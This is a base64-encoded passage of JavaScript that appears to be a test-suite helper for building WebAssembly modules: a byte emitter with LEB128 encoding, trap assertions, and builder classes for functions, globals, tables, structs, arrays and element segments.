ICAgICAgICAgICAgICAgICAgICAgICAvLyAtLQpdOwoKLy8gVGhpcyByZXF1aXJlcyB0ZXN0L21q
c3VuaXQvbWpzdW5pdC5qcy4KZnVuY3Rpb24gYXNzZXJ0VHJhcHModHJhcCwgY29kZSkgewogIGFz
c2VydFRocm93cyhjb2RlLCBXZWJBc3NlbWJseS5SdW50aW1lRXJyb3IsIG5ldyBSZWdFeHAoa1Ry
YXBNc2dzW3RyYXBdKSk7Cn0KCmZ1bmN0aW9uIGFzc2VydFRyYXBzT25lT2YodHJhcHMsIGNvZGUp
IHsKICBjb25zdCBlcnJvckNoZWNrZXIgPSBuZXcgUmVnRXhwKAogICAgJygnICsgdHJhcHMubWFw
KHRyYXAgPT4ga1RyYXBNc2dzW3RyYXBdKS5qb2luKCd8JykgKyAnKScKICApOwogIGFzc2VydFRo
cm93cyhjb2RlLCBXZWJBc3NlbWJseS5SdW50aW1lRXJyb3IsIGVycm9yQ2hlY2tlcik7Cn0KCmNs
YXNzIEJpbmFyeSB7CiAgY29uc3RydWN0b3IoKSB7CiAgICB0aGlzLmxlbmd0aCA9IDA7CiAgICB0
aGlzLmJ1ZmZlciA9IG5ldyBVaW50OEFycmF5KDgxOTIpOwogIH0KCiAgZW5zdXJlX3NwYWNlKG5l
ZWRlZCkgewogICAgaWYgKHRoaXMuYnVmZmVyLmxlbmd0aCAtIHRoaXMubGVuZ3RoID49IG5lZWRl
ZCkgcmV0dXJuOwogICAgbGV0IG5ld19jYXBhY2l0eSA9IHRoaXMuYnVmZmVyLmxlbmd0aCAqIDI7
CiAgICB3aGlsZSAobmV3X2NhcGFjaXR5IC0gdGhpcy5sZW5ndGggPCBuZWVkZWQpIG5ld19jYXBh
Y2l0eSAqPSAyOwogICAgbGV0IG5ld19idWZmZXIgPSBuZXcgVWludDhBcnJheShuZXdfY2FwYWNp
dHkpOwogICAgbmV3X2J1ZmZlci5zZXQodGhpcy5idWZmZXIpOwogICAgdGhpcy5idWZmZXIgPSBu
ZXdfYnVmZmVyOwogIH0KCiAgdHJ1bmNfYnVmZmVyKCkgewogICAgcmV0dXJuIG5ldyBVaW50OEFy
cmF5KHRoaXMuYnVmZmVyLmJ1ZmZlciwgMCwgdGhpcy5sZW5ndGgpOwogIH0KCiAgcmVzZXQoKSB7
CiAgICB0aGlzLmxlbmd0aCA9IDA7CiAgfQoKICBlbWl0X3U4KHZhbCkgewogICAgdGhpcy5lbnN1
cmVfc3BhY2UoMSk7CiAgICB0aGlzLmJ1ZmZlclt0aGlzLmxlbmd0aCsrXSA9IHZhbDsKICB9Cgog
IGVtaXRfdTE2KHZhbCkgewogICAgdGhpcy5lbnN1cmVfc3BhY2UoMik7CiAgICB0aGlzLmJ1ZmZl
clt0aGlzLmxlbmd0aCsrXSA9IHZhbDsKICAgIHRoaXMuYnVmZmVyW3RoaXMubGVuZ3RoKytdID0g
dmFsID4+IDg7CiAgfQoKICBlbWl0X3UzMih2YWwpIHsKICAgIHRoaXMuZW5zdXJlX3NwYWNlKDQp
OwogICAgdGhpcy5idWZmZXJbdGhpcy5sZW5ndGgrK10gPSB2YWw7CiAgICB0aGlzLmJ1ZmZlclt0
aGlzLmxlbmd0aCsrXSA9IHZhbCA+PiA4OwogICAgdGhpcy5idWZmZXJbdGhpcy5sZW5ndGgrK10g
PSB2YWwgPj4gMTY7CiAgICB0aGlzLmJ1ZmZlclt0aGlzLmxlbmd0aCsrXSA9IHZhbCA+PiAyNDsK
ICB9CgogIGVtaXRfbGViX3UodmFsLCBtYXhfbGVuKSB7CiAgICB0aGlzLmVuc3VyZV9zcGFjZSht
YXhfbGVuKTsKICAgIGZvciAobGV0IGkgPSAwOyBpIDwgbWF4X2xlbjsgKytpKSB7CiAgICAgIGxl
dCB2ID0gdmFsICYgMHhmZjsKICAgICAgdmFsID0gdmFsID4+PiA3OwogICAgICBpZiAodmFsID09
IDApIHsKICAgICAgICB0aGlzLmJ1ZmZlclt0aGlzLmxlbmd0aCsrXSA9IHY7CiAgICAgICAgcmV0
dXJuOwogICAgICB9CiAgICAgIHRoaXMuYnVmZmVyW3RoaXMubGVuZ3RoKytdID0gdiB8IDB4ODA7
CiAgICB9CiAgICB0aHJvdyBuZXcgRXJyb3IoJ0xlYiB2YWx1ZSBleGNlZWRzIG1heGltdW0gbGVu
Z3RoIG9mICcgKyBtYXhfbGVuKTsKICB9CgogIGVtaXRfdTMydih2YWwpIHsKICAgIHRoaXMuZW1p
dF9sZWJfdSh2YWwsIGtNYXhWYXJJbnQzMlNpemUpOwogIH0KCiAgZW1pdF91NjR2KHZhbCkgewog
ICAgdGhpcy5lbWl0X2xlYl91KHZhbCwga01heFZhckludDY0U2l6ZSk7CiAgfQoKICBlbWl0X2J5
dGVzKGRhdGEpIHsKICAgIHRoaXMuZW5zdXJlX3NwYWNlKGRhdGEubGVuZ3RoKTsKICAgIHRoaXMu
YnVmZmVyLnNldChkYXRhLCB0aGlzLmxlbmd0aCk7CiAgICB0aGlzLmxlbmd0aCArPSBkYXRhLmxl
bmd0aDsKICB9CgogIGVtaXRfc3RyaW5nKHN0cmluZykgewogICAgLy8gV2hlbiB0ZXN0aW5nIGls
bGVnYWwgbmFtZXMsIHdlIHBhc3MgYSBieXRlIGFycmF5IGRpcmVjdGx5LgogICAgaWYgKHN0cmlu
ZyBpbnN0YW5jZW9mIEFycmF5KSB7CiAgICAgIHRoaXMuZW1pdF91MzJ2KHN0cmluZy5sZW5ndGgp
OwogICAgICB0aGlzLmVtaXRfYnl0ZXMoc3RyaW5nKTsKICAgICAgcmV0dXJuOwogICAgfQoKICAg
IC8vIFRoaXMgaXMgdGhlIGhhY2t5IHdheSB0byBjb252ZXJ0IGEgSmF2YVNjcmlwdCBzdHJpbmcg
dG8gYSBVVEY4IGVuY29kZWQKICAgIC8vIHN0cmluZyBvbmx5IGNvbnRhaW5pbmcgc2luZ2xlLWJ5
dGUgY2hhcmFjdGVycy4KICAgIGxldCBzdHJpbmdfdXRmOCA9IHVuZXNjYXBlKGVuY29kZVVSSUNv
bXBvbmVudChzdHJpbmcpKTsKICAgIHRoaXMuZW1pdF91MzJ2KHN0cmluZ191dGY4Lmxlbmd0aCk7
CiAgICBmb3IgKGxldCBpID0gMDsgaSA8IHN0cmluZ191dGY4Lmxlbmd0aDsgaSsrKSB7CiAgICAg
IHRoaXMuZW1pdF91OChzdHJpbmdfdXRmOC5jaGFyQ29kZUF0KGkpKTsKICAgIH0KICB9CgogIGVt
aXRfaGVhcF90eXBlKGhlYXBfdHlwZSkgewogICAgdGhpcy5lbWl0X2J5dGVzKHdhc21TaWduZWRM
ZWIoaGVhcF90eXBlLCBrTWF4VmFySW50MzJTaXplKSk7CiAgfQoKICBlbWl0X3R5cGUodHlwZSkg
ewogICAgaWYgKCh0eXBlb2YgdHlwZSkgPT0gJ251bWJlcicpIHsKICAgICAgdGhpcy5lbWl0X3U4
KHR5cGUgPj0gMCA/IHR5cGUgOiB0eXBlICYga0xlYjEyOE1hc2spOwogICAgfSBlbHNlIHsKICAg
ICAgdGhpcy5lbWl0X3U4KHR5cGUub3Bjb2RlKTsKICAgICAgaWYgKHR5cGUuaXNfc2hhcmVkKSB0
aGlzLmVtaXRfdTgoa1dhc21TaGFyZWRUeXBlRm9ybSk7CiAgICAgIHRoaXMuZW1pdF9oZWFwX3R5
cGUodHlwZS5oZWFwX3R5cGUpOwogICAgfQogIH0KCiAgZW1pdF9pbml0X2V4cHIoZXhwcikgewog
ICAgdGhpcy5lbWl0X2J5dGVzKGV4cHIpOwogICAgdGhpcy5lbWl0X3U4KGtFeHByRW5kKTsKICB9
CgogIGVtaXRfaGVhZGVyKCkgewogICAgdGhpcy5lbWl0X2J5dGVzKFsKICAgICAga1dhc21IMCwg
a1dhc21IMSwga1dhc21IMiwga1dhc21IMywga1dhc21WMCwga1dhc21WMSwga1dhc21WMiwga1dh
c21WMwogICAgXSk7CiAgfQoKICBlbWl0X3NlY3Rpb24oc2VjdGlvbl9jb2RlLCBjb250ZW50X2dl
bmVyYXRvcikgewogICAgLy8gRW1pdCBzZWN0aW9uIG5hbWUuCiAgICB0aGlzLmVtaXRfdTgoc2Vj
dGlvbl9jb2RlKTsKICAgIC8vIEVtaXQgdGhlIHNlY3Rpb24gdG8gYSB0ZW1wb3JhcnkgYnVmZmVy
OiBpdHMgZnVsbCBsZW5ndGggaXNuJ3Qga25vdyB5ZXQuCiAgICBjb25zdCBzZWN0aW9uID0gbmV3
IEJpbmFyeTsKICAgIGNvbnRlbnRfZ2VuZXJhdG9yKHNlY3Rpb24pOwogICAgLy8gRW1pdCBzZWN0
aW9uIGxlbmd0aC4KICAgIHRoaXMuZW1pdF91MzJ2KHNlY3Rpb24ubGVuZ3RoKTsKICAgIC8vIENv
cHkgdGhlIHRlbXBvcmFyeSBidWZmZXIuCiAgICAvLyBBdm9pZCBzcHJlYWQgYmVjYXVzZSB7c2Vj
dGlvbn0gY2FuIGJlIGh1Z2UuCiAgICB0aGlzLmVtaXRfYnl0ZXMoc2VjdGlvbi50cnVuY19idWZm
ZXIoKSk7CiAgfQp9CgpjbGFzcyBXYXNtRnVuY3Rpb25CdWlsZGVyIHsKICAvLyBFbmNvZGluZyBv
ZiBsb2NhbCBuYW1lczogYSBzdHJpbmcgY29ycmVzcG9uZHMgdG8gYSBsb2NhbCBuYW1lLAogIC8v
IGEgbnVtYmVyIG4gY29ycmVzcG9uZHMgdG8gbiB1bmRlZmluZWQgbmFtZXMuCiAgY29uc3RydWN0
b3IobW9kdWxlLCBuYW1lLCB0eXBlX2luZGV4LCBhcmdfbmFtZXMpIHsKICAgIHRoaXMubW9kdWxl
ID0gbW9kdWxlOwogICAgdGhpcy5uYW1lID0gbmFtZTsKICAgIHRoaXMudHlwZV9pbmRleCA9IHR5
cGVfaW5kZXg7CiAgICB0aGlzLmJvZHkgPSBbXTsKICAgIHRoaXMubG9jYWxzID0gW107CiAgICB0
aGlzLmxvY2FsX25hbWVzID0gYXJnX25hbWVzOwogICAgdGhpcy5ib2R5X29mZnNldCA9IHVuZGVm
aW5lZDsgIC8vIE5vdCB2YWxpZCB1bnRpbCBtb2R1bGUgaXMgc2VyaWFsaXplZC4KICB9CgogIG51
bUxvY2FsTmFtZXMoKSB7CiAgICBsZXQgbnVtX2xvY2FsX25hbWVzID0gMDsKICAgIGZvciAobGV0
IGxvY19uYW1lIG9mIHRoaXMubG9jYWxfbmFtZXMpIHsKICAgICAgaWYgKHR5cGVvZiBsb2NfbmFt
ZSA9PSAnc3RyaW5nJykgKytudW1fbG9jYWxfbmFtZXM7CiAgICB9CiAgICByZXR1cm4gbnVtX2xv
Y2FsX25hbWVzOwogIH0KCiAgZXhwb3J0QXMobmFtZSkgewogICAgdGhpcy5tb2R1bGUuYWRkRXhw
b3J0KG5hbWUsIHRoaXMuaW5kZXgpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICBleHBvcnRGdW5j
KCkgewogICAgdGhpcy5leHBvcnRBcyh0aGlzLm5hbWUpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoK
ICBzZXRDb21waWxhdGlvbkhpbnQoc3RyYXRlZ3ksIGJhc2VsaW5lVGllciwgdG9wVGllcikgewog
ICAgdGhpcy5tb2R1bGUuc2V0Q29tcGlsYXRpb25IaW50KHN0cmF0ZWd5LCBiYXNlbGluZVRpZXIs
IHRvcFRpZXIsIHRoaXMuaW5kZXgpOwogICAgcmV0dXJuIHRoaXM7CiAgfQoKICBhZGRCb2R5KGJv
ZHkpIHsKICAgIGNoZWNrRXhwcihib2R5KTsKICAgIC8vIFN0b3JlIGEgY29weSBvZiB0aGUgYm9k
eSwgYW5kIGF1dG9tYXRpY2FsbHkgYWRkIHRoZSBlbmQgb3Bjb2RlLgogICAgdGhpcy5ib2R5ID0g
Ym9keS5jb25jYXQoW2tFeHByRW5kXSk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIGFkZEJvZHlX
aXRoRW5kKGJvZHkpIHsKICAgIHRoaXMuYm9keSA9IGJvZHk7CiAgICByZXR1cm4gdGhpczsKICB9
CgogIGdldE51bUxvY2FscygpIHsKICAgIGxldCB0b3RhbF9sb2NhbHMgPSAwOwogICAgZm9yIChs
ZXQgbCBvZiB0aGlzLmxvY2FscykgewogICAgICB0b3RhbF9sb2NhbHMgKz0gbC5jb3VudAogICAg
fQogICAgcmV0dXJuIHRvdGFsX2xvY2FsczsKICB9CgogIGFkZExvY2Fscyh0eXBlLCBjb3VudCwg
bmFtZXMpIHsKICAgIHRoaXMubG9jYWxzLnB1c2goe3R5cGU6IHR5cGUsIGNvdW50OiBjb3VudH0p
OwogICAgbmFtZXMgPSBuYW1lcyB8fCBbXTsKICAgIGlmIChuYW1lcy5sZW5ndGggPiBjb3VudCkg
dGhyb3cgbmV3IEVycm9yKCd0b28gbWFueSBsb2NhbHMgbmFtZXMgZ2l2ZW4nKTsKICAgIHRoaXMu
bG9jYWxfbmFtZXMucHVzaCguLi5uYW1lcyk7CiAgICBpZiAoY291bnQgPiBuYW1lcy5sZW5ndGgp
IHRoaXMubG9jYWxfbmFtZXMucHVzaChjb3VudCAtIG5hbWVzLmxlbmd0aCk7CiAgICByZXR1cm4g
dGhpczsKICB9CgogIGVuZCgpIHsKICAgIHJldHVybiB0aGlzLm1vZHVsZTsKICB9Cn0KCmNsYXNz
IFdhc21HbG9iYWxCdWlsZGVyIHsKICBjb25zdHJ1Y3Rvcihtb2R1bGUsIHR5cGUsIG11dGFibGUs
IHNoYXJlZCwgaW5pdCkgewogICAgdGhpcy5tb2R1bGUgPSBtb2R1bGU7CiAgICB0aGlzLnR5cGUg
PSB0eXBlOwogICAgdGhpcy5tdXRhYmxlID0gbXV0YWJsZTsKICAgIHRoaXMuc2hhcmVkID0gc2hh
cmVkOwogICAgdGhpcy5pbml0ID0gaW5pdDsKICB9CgogIGV4cG9ydEFzKG5hbWUpIHsKICAgIHRo
aXMubW9kdWxlLmV4cG9ydHMucHVzaCgKICAgICAgICB7bmFtZTogbmFtZSwga2luZDoga0V4dGVy
bmFsR2xvYmFsLCBpbmRleDogdGhpcy5pbmRleH0pOwogICAgcmV0dXJuIHRoaXM7CiAgfQp9Cgpm
dW5jdGlvbiBjaGVja0V4cHIoZXhwcikgewogIGZvciAobGV0IGIgb2YgZXhwcikgewogICAgaWYg
KHR5cGVvZiBiICE9PSAnbnVtYmVyJyB8fCAoYiAmICh+MHhGRikpICE9PSAwKSB7CiAgICAgIHRo
cm93IG5ldyBFcnJvcigKICAgICAgICAgICdpbnZhbGlkIGJvZHkgKGVudHJpZXMgbXVzdCBiZSA4
IGJpdCBudW1iZXJzKTogJyArIGV4cHIpOwogICAgfQogIH0KfQoKY2xhc3MgV2FzbVRhYmxlQnVp
bGRlciB7CiAgY29uc3RydWN0b3IobW9kdWxlLCB0eXBlLCBpbml0aWFsX3NpemUsIG1heF9zaXpl
LCBpbml0X2V4cHIsIGlzX3NoYXJlZCwgaXNfdGFibGU2NCkgewogICAgLy8gVE9ETyhtYW5vc2tv
dWspOiBBZGQgdGhlIHRhYmxlIGluZGV4LgogICAgdGhpcy5tb2R1bGUgPSBtb2R1bGU7CiAgICB0
aGlzLnR5cGUgPSB0eXBlOwogICAgdGhpcy5pbml0aWFsX3NpemUgPSBpbml0aWFsX3NpemU7CiAg
ICB0aGlzLmhhc19tYXggPSBtYXhfc2l6ZSAhPT0gdW5kZWZpbmVkOwogICAgdGhpcy5tYXhfc2l6
ZSA9IG1heF9zaXplOwogICAgdGhpcy5pbml0X2V4cHIgPSBpbml0X2V4cHI7CiAgICB0aGlzLmhh
c19pbml0ID0gaW5pdF9leHByICE9PSB1bmRlZmluZWQ7CiAgICB0aGlzLmlzX3NoYXJlZCA9IGlz
X3NoYXJlZDsKICAgIHRoaXMuaXNfdGFibGU2NCA9IGlzX3RhYmxlNjQ7CiAgfQoKICBleHBvcnRB
cyhuYW1lKSB7CiAgICB0aGlzLm1vZHVsZS5leHBvcnRzLnB1c2goCiAgICAgICAge25hbWU6IG5h
bWUsIGtpbmQ6IGtFeHRlcm5hbFRhYmxlLCBpbmRleDogdGhpcy5pbmRleH0pOwogICAgcmV0dXJu
IHRoaXM7CiAgfQp9CgpmdW5jdGlvbiBtYWtlRmllbGQodHlwZSwgbXV0YWJpbGl0eSkgewogIGlm
ICgodHlwZW9mIG11dGFiaWxpdHkpICE9ICdib29sZWFuJykgewogICAgdGhyb3cgbmV3IEVycm9y
KCdmaWVsZCBtdXRhYmlsaXR5IG11c3QgYmUgYm9vbGVhbicpOwogIH0KICByZXR1cm4ge3R5cGU6
IHR5cGUsIG11dGFiaWxpdHk6IG11dGFiaWxpdHl9Owp9CgpjbGFzcyBXYXNtU3RydWN0IHsKICBj
b25zdHJ1Y3RvcihmaWVsZHMsIGlzX2ZpbmFsLCBpc19zaGFyZWQsIHN1cGVydHlwZV9pZHgpIHsK
ICAgIGlmICghQXJyYXkuaXNBcnJheShmaWVsZHMpKSB7CiAgICAgIHRocm93IG5ldyBFcnJvcign
c3RydWN0IGZpZWxkcyBtdXN0IGJlIGFuIGFycmF5Jyk7CiAgICB9CiAgICB0aGlzLmZpZWxkcyA9
IGZpZWxkczsKICAgIHRoaXMudHlwZV9mb3JtID0ga1dhc21TdHJ1Y3RUeXBlRm9ybTsKICAgIHRo
aXMuaXNfZmluYWwgPSBpc19maW5hbDsKICAgIHRoaXMuaXNfc2hhcmVkID0gaXNfc2hhcmVkOwog
ICAgdGhpcy5zdXBlcnR5cGUgPSBzdXBlcnR5cGVfaWR4OwogIH0KfQoKY2xhc3MgV2FzbUFycmF5
IHsKICBjb25zdHJ1Y3Rvcih0eXBlLCBtdXRhYmlsaXR5LCBpc19maW5hbCwgaXNfc2hhcmVkLCBz
dXBlcnR5cGVfaWR4KSB7CiAgICB0aGlzLnR5cGUgPSB0eXBlOwogICAgdGhpcy5tdXRhYmlsaXR5
ID0gbXV0YWJpbGl0eTsKICAgIHRoaXMudHlwZV9mb3JtID0ga1dhc21BcnJheVR5cGVGb3JtOwog
ICAgdGhpcy5pc19maW5hbCA9IGlzX2ZpbmFsOwogICAgdGhpcy5pc19zaGFyZWQgPSBpc19zaGFy
ZWQ7CiAgICB0aGlzLnN1cGVydHlwZSA9IHN1cGVydHlwZV9pZHg7CiAgfQp9CgpjbGFzcyBXYXNt
RWxlbVNlZ21lbnQgewogIGNvbnN0cnVjdG9yKHRhYmxlLCBvZmZzZXQsIHR5cGUsIGVsZW1lbnRz
LCBpc19kZWNsLCBpc19zaGFyZWQpIHsKICAgIHRoaXMudGFibGUgPSB0YWJsZTsKICAgIHRoaXMu
b2Zmc2V0ID0gb2Zmc2V0OwogICAgdGhpcy50eXBlID0gdHlwZTsKICAgIHRoaXMuZWxlbWVudHMg
PSBlbGVtZW50czsKICAgIHRoaXMuaXNfZGVjbCA9IGlzX2RlY2w7CiAgICB0aGlzLmlzX3NoYXJl
ZCA9IGlzX3NoYXJlZDsKICAgIC8vIEludmFyaWFudCBjaGVja3MuCiAgICBpZiAoKHRhYmxlID09
PSB1bmRlZmluZWQpICE9IChvZmZzZXQgPT09IHVuZGVmaW5lZCkpIHsKICAgICAgdGhyb3cgbmV3
IEVycm9yKCJpbnZhbGlkIGVsZW1lbnQgc2VnbWVudCIpOwogICAgfQogICAgZm9yIChsZXQgZWxl
bSBvZiBlbGVtZW50cykgewogICAgICBpZiAoKCh0eXBlb2YgZWxlbSkgPT0gJ251bWJlcicpICE9
ICh0eXBlID09PSB1bmRlZmluZWQpKSB7CiAgICAgICAgdGhyb3cgbmV3IEVycm9yKCJpbnZhbGlk
IGVsZW1lbnQiKTsKICAgICAgfQogICAgfQogIH0KCiAgaXNfYWN0aXZlKCkgewogICAgcmV0dXJu
IHRoaXMudGFibGUgIT09IHVuZGVmaW5lZDsKICB9CgogIGlzX3Bhc3NpdmUoKSB7CiAgICByZXR1
cm4gdGhpcy50YWJsZSA9PT0gdW5kZWZpbmVkICYmICF0aGlzLmlzX2RlY2w7CiAgfQoKICBpc19k
ZWNsYXJhdGl2ZSgpIHsKICAgIHJldHVybiB0aGlzLnRhYmxlID09PSB1bmRlZmluZWQgJiYgdGhp
cy5pc19kZWNsOwogIH0KCiAgZXhwcmVzc2lvbnNfYXNfZWxlbWVudHMoKSB7CiAgICByZXR1cm4g
dGhpcy50eXBlICE9PSB1bmRlZmluZWQ7CiAgfQp9CgpjbGFzcyBXYXNtTW9kdWxlQnVpbGRlciB7
CiAgY29uc3RydWN0b3IoKSB7CiAgICB0aGlzLnR5cGVzID0gW107CiAgICB0aGlzLmltcG9ydHMg
PSBbXTsKICAgIHRoaXMuZXhwb3J0cyA9IFtdOwogICAgdGhpcy5zdHJpbmdyZWZzID0gW107CiAg
ICB0aGlzLmdsb2JhbHMgPSBbXTsKICAgIHRoaXMudGFibGVzID0gW107CiAgICB0aGlzLnRhZ3Mg
PSBbXTsKICAgIHRoaXMubWVtb3JpZXMgPSBbXTsKICAgIHRoaXMuZnVuY3Rpb25zID0gW107CiAg
ICB0aGlzLmNvbXBpbGF0aW9uX2hpbnRzID0gW107CiAgICB0aGlzLmVsZW1lbnRfc2VnbWVudHMg
PSBbXTsKICAgIHRoaXMuZGF0YV9zZWdtZW50cyA9IFtdOwogICAgdGhpcy5leHBsaWNpdCA9IFtd
OwogICAgdGhpcy5yZWNfZ3JvdXBzID0gW107CiAgICB0aGlzLm51bV9pbXBvcnRlZF9mdW5jcyA9
IDA7CiAgICB0aGlzLm51bV9pbXBvcnRlZF9nbG9iYWxzID0gMDsKICAgIHRoaXMubnVtX2ltcG9y
dGVkX3RhYmxlcyA9IDA7CiAgICB0aGlzLm51bV9pbXBvcnRlZF90YWdzID0gMDsKICAgIHJldHVy
biB0aGlzOwogIH0KCiAgYWRkU3RhcnQoc3RhcnRfaW5kZXgpIHsKICAgIHRoaXMuc3RhcnRfaW5k
ZXggPSBzdGFydF9pbmRleDsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgYWRkTWVtb3J5KG1pbiwg
bWF4LCBzaGFyZWQpIHsKICAgIC8vIE5vdGU6IEFsbCBpbXBvcnRlZCBtZW1vcmllcyBhcmUgYWRk
ZWQgYmVmb3JlIGRlY2xhcmVkIG9uZXMgKHNlZSB0aGUgY2hlY2sKICAgIC8vIGluIHthZGRJbXBv
cnRlZE1lbW9yeX0pLgogICAgY29uc3QgaW1wb3J0ZWRfbWVtb3JpZXMgPQogICAgICAgIHRoaXMu
aW1wb3J0cy5maWx0ZXIoaSA9PiBpLmtpbmQgPT0ga0V4dGVybmFsTWVtb3J5KS5sZW5ndGg7CiAg
ICBjb25zdCBtZW1faW5kZXggPSBpbXBvcnRlZF9tZW1vcmllcyArIHRoaXMubWVtb3JpZXMubGVu
Z3RoOwogICAgdGhpcy5tZW1vcmllcy5wdXNoKAogICAgICAgIHttaW46IG1pbiwgbWF4OiBtYXgs
IHNoYXJlZDogc2hhcmVkIHx8IGZhbHNlLCBpc19tZW1vcnk2NDogZmFsc2V9KTsKICAgIHJldHVy
biBtZW1faW5kZXg7CiAgfQoKICBhZGRNZW1vcnk2NChtaW4sIG1heCwgc2hhcmVkKSB7CiAgICAv
LyBOb3RlOiBBbGwgaW1wb3J0ZWQgbWVtb3JpZXMgYXJlIGFkZGVkIGJlZm9yZSBkZWNsYXJlZCBv
bmVzIChzZWUgdGhlIGNoZWNrCiAgICAvLyBpbiB7YWRkSW1wb3J0ZWRNZW1vcnl9KS4KICAgIGNv
bnN0IGltcG9ydGVkX21lbW9yaWVzID0KICAgICAgICB0aGlzLmltcG9ydHMuZmlsdGVyKGkgPT4g
aS5raW5kID09IGtFeHRlcm5hbE1lbW9yeSkubGVuZ3RoOwogICAgY29uc3QgbWVtX2luZGV4ID0g
aW1wb3J0ZWRfbWVtb3JpZXMgKyB0aGlzLm1lbW9yaWVzLmxlbmd0aDsKICAgIHRoaXMubWVtb3Jp
ZXMucHVzaCgKICAgICAgICB7bWluOiBtaW4sIG1heDogbWF4LCBzaGFyZWQ6IHNoYXJlZCB8fCBm
YWxzZSwgaXNfbWVtb3J5NjQ6IHRydWV9KTsKICAgIHJldHVybiBtZW1faW5kZXg7CiAgfQoKICBh
ZGRFeHBsaWNpdFNlY3Rpb24oYnl0ZXMpIHsKICAgIHRoaXMuZXhwbGljaXQucHVzaChieXRlcyk7
CiAgICByZXR1cm4gdGhpczsKICB9CgogIHN0cmluZ1RvQnl0ZXMobmFtZSkgewogICAgdmFyIHJl
c3VsdCA9IG5ldyBCaW5hcnkoKTsKICAgIHJlc3VsdC5lbWl0X3UzMnYobmFtZS5sZW5ndGgpOwog
ICAgZm9yICh2YXIgaSA9IDA7IGkgPCBuYW1lLmxlbmd0aDsgaSsrKSB7CiAgICAgIHJlc3VsdC5l
bWl0X3U4KG5hbWUuY2hhckNvZGVBdChpKSk7CiAgICB9CiAgICByZXR1cm4gcmVzdWx0LnRydW5j
X2J1ZmZlcigpCiAgfQoKICBjcmVhdGVDdXN0b21TZWN0aW9uKG5hbWUsIGJ5dGVzKSB7CiAgICBu
YW1lID0gdGhpcy5zdHJpbmdUb0J5dGVzKG5hbWUpOwogICAgdmFyIHNlY3Rpb24gPSBuZXcgQmlu
YXJ5KCk7CiAgICBzZWN0aW9uLmVtaXRfdTgoMCk7CiAgICBzZWN0aW9uLmVtaXRfdTMydihuYW1l
Lmxlbmd0aCArIGJ5dGVzLmxlbmd0aCk7CiAgICBzZWN0aW9uLmVtaXRfYnl0ZXMobmFtZSk7CiAg
ICBzZWN0aW9uLmVtaXRfYnl0ZXMoYnl0ZXMpOwogICAgcmV0dXJuIHNlY3Rpb24udHJ1bmNfYnVm
ZmVyKCk7CiAgfQoKICBhZGRDdXN0b21TZWN0aW9uKG5hbWUsIGJ5dGVzKSB7CiAgICB0aGlzLmV4
cGxpY2l0LnB1c2godGhpcy5jcmVhdGVDdXN0b21TZWN0aW9uKG5hbWUsIGJ5dGVzKSk7CiAgfQoK
ICAvLyBXZSB1c2Uge2lzX2ZpbmFsID0gdHJ1ZX0gc28gdGhhdCB0aGUgTVZQIHN5bnRheCBpcyBn
ZW5lcmF0ZWQgZm9yCiAgLy8gc2lnbmF0dXJlcy4KICBhZGRUeXBlKHR5cGUsIHN1cGVydHlwZV9p
ZHggPSBrTm9TdXBlclR5cGUsIGlzX2ZpbmFsID0gdHJ1ZSwgaXNfc2hhcmVkID0gZmFsc2UpIHsK
ICAgIHZhciBwbCA9IHR5cGUucGFyYW1zLmxlbmd0aDsgICAvLyBzaG91bGQgaGF2ZSBwYXJhbXMK
ICAgIHZhciBybCA9IHR5cGUucmVzdWx0cy5sZW5ndGg7ICAvLyBzaG91bGQgaGF2ZSByZXN1bHRz
CiAgICB2YXIgdHlwZV9jb3B5ID0ge3BhcmFtczogdHlwZS5wYXJhbXMsIHJlc3VsdHM6IHR5cGUu
cmVzdWx0cywKICAgICAgICAgICAgICAgICAgICAgaXNfZmluYWw6IGlzX2ZpbmFsLCBpc19zaGFy
ZWQ6IGlzX3NoYXJlZCwgc3VwZXJ0eXBlOiBzdXBlcnR5cGVfaWR4fTsKICAgIHRoaXMudHlwZXMu
cHVzaCh0eXBlX2NvcHkpOwogICAgcmV0dXJuIHRoaXMudHlwZXMubGVuZ3RoIC0gMTsKICB9Cgog
IGFkZExpdGVyYWxTdHJpbmdSZWYoc3RyKSB7CiAgICB0aGlzLnN0cmluZ3JlZnMucHVzaChzdHIp
OwogICAgcmV0dXJuIHRoaXMuc3RyaW5ncmVmcy5sZW5ndGggLSAxOwogIH0KCiAgYWRkU3RydWN0
KGZpZWxkcywgc3VwZXJ0eXBlX2lkeCA9IGtOb1N1cGVyVHlwZSwgaXNfZmluYWwgPSBmYWxzZSwg
aXNfc2hhcmVkID0gZmFsc2UpIHsKICAgIHRoaXMudHlwZXMucHVzaChuZXcgV2FzbVN0cnVjdChm
aWVsZHMsIGlzX2ZpbmFsLCBpc19zaGFyZWQsIHN1cGVydHlwZV9pZHgpKTsKICAgIHJldHVybiB0
aGlzLnR5cGVzLmxlbmd0aCAtIDE7CiAgfQoKICBhZGRBcnJheSh0eXBlLCBtdXRhYmlsaXR5LCBz
dXBlcnR5cGVfaWR4ID0ga05vU3VwZXJUeXBlLCBpc19maW5hbCA9IGZhbHNlLCBpc19zaGFyZWQg
PSBmYWxzZSkgewogICAgdGhpcy50eXBlcy5wdXNoKG5ldyBXYXNtQXJyYXkodHlwZSwgbXV0YWJp
bGl0eSwgaXNfZmluYWwsIGlzX3NoYXJlZCwgc3VwZXJ0eXBlX2lkeCkpOwogICAgcmV0dXJuIHRo
aXMudHlwZXMubGVuZ3RoIC0gMTsKICB9CgogIG5leHRUeXBlSW5kZXgoKSB7IHJldHVybiB0aGlz
LnR5cGVzLmxlbmd0aDsgfQoKICBzdGF0aWMgZGVmYXVsdEZvcih0eXBlKSB7CiAgICBzd2l0Y2gg
KHR5cGUpIHsKICAgICAgY2FzZSBrV2FzbUkzMjoKICAgICAgICByZXR1cm4gd2FzbUkzMkNvbnN0
KDApOwogICAgICBjYXNlIGtXYXNtSTY0OgogICAgICAgIHJldHVybiB3YXNtSTY0Q29uc3QoMCk7
CiAgICAgIGNhc2Uga1dhc21GMzI6CiAgICAgICAgcmV0dXJuIHdhc21GMzJDb25zdCgwLjApOwog
ICAgICBjYXNlIGtXYXNtRjY0OgogICAgICAgIHJldHVybiB3YXNtRjY0Q29uc3QoMC4wKTsKICAg
ICAgY2FzZSBrV2FzbVMxMjg6CiAgICAgICAgcmV0dXJuIFtrU2ltZFByZWZpeCwga0V4cHJTMTI4
